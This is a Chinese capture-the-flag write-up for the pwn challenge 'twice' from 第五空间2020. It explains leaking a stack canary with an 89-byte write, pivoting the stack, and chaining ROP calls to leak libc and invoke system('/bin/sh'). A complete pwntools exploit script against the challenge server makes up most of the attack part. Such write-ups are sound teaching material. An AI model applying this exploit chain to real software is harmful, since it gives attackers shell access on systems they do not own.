【第五空间2020】twice WriteUp

checksec一下,开了栈溢出保护和栈执行保护

IDA打开看看,main函数是一个for循环,InitData函数执行初始化setvbuf操作后返回0

跟进这个函数,结合main函数发现,这个函数只会被调用2次,然后main函数将会结束,第一次进这个函数的时候,v3=89,第二次进这个函数的时候,v3=112


缓冲区s的大小是88字节,而后面紧跟着canary,因此第一次写满89字节以后可以泄露出canary
(canary首位必定为0,所以通过第89个字节覆盖首位可以使得puts函数顺带一并输出后面的canary的值。第一次进这个函数时,输出以后会将最后一个字节置0,而canary首位刚好是0,因此不会被栈溢出保护检查到)
泄露以后可以通过第二次112字节的输入来进行栈溢出,由于只能刚好覆盖rbp和ret address,所以采用栈转移技术,执行我们前面输入的rop链
第一次rop泄露puts的地址,找到对应的libc,计算出system函数和binsh字符串的位置,然后返回main函数,进行第二轮rop,拿到shell

#!/usr/bin/python2
#coding:utf-8

from pwn import *
from LibcSearcher import *
from struct import pack

context.os='linux'
context.arch='amd64'
context.log_level='debug'

sd=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
ra=lambda :io.recv()
rn=lambda x:io.recv(x)
sla=lambda x,y:io.sendlineafter(x,y)

io=remote('121.36.59.116',9999)
#io=process('./pwn')
elf=ELF('./pwn')

main=p64(0x40087b)
leave_ret=p64(0x400879)
pop_rdi_ret=p64(0x400923)

ra()
sd('a'*89)
rn(89)
canary='\0'+io.recv(7)
stack=u64(rn(6)+'\0'*2)
stack=stack-8*14
ra()
sd((p64(0)+pop_rdi_ret+p64(elf.got['puts'])+p64(elf.plt['puts'])+main).ljust(88,'a')+canary+p64(stack)+leave_ret)
rn(1)
puts_addr=u64(rn(6)+'\0'*2)
libc=LibcSearcher('puts',puts_addr)
ra()
sd('a'*89)
rn(89)
canary='\0'+rn(7)
stack=u64(rn(6)+'\0'*2)
stack=stack-8*14
ra()
sd((p64(0)+pop_rdi_ret+p64(puts_addr-libc.dump('puts')+libc.dump('str_bin_sh'))+p64(puts_addr-libc.dump('puts')+libc.dump('system'))+main).ljust(88,'a')+canary+p64(stack)+leave_ret)

io.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值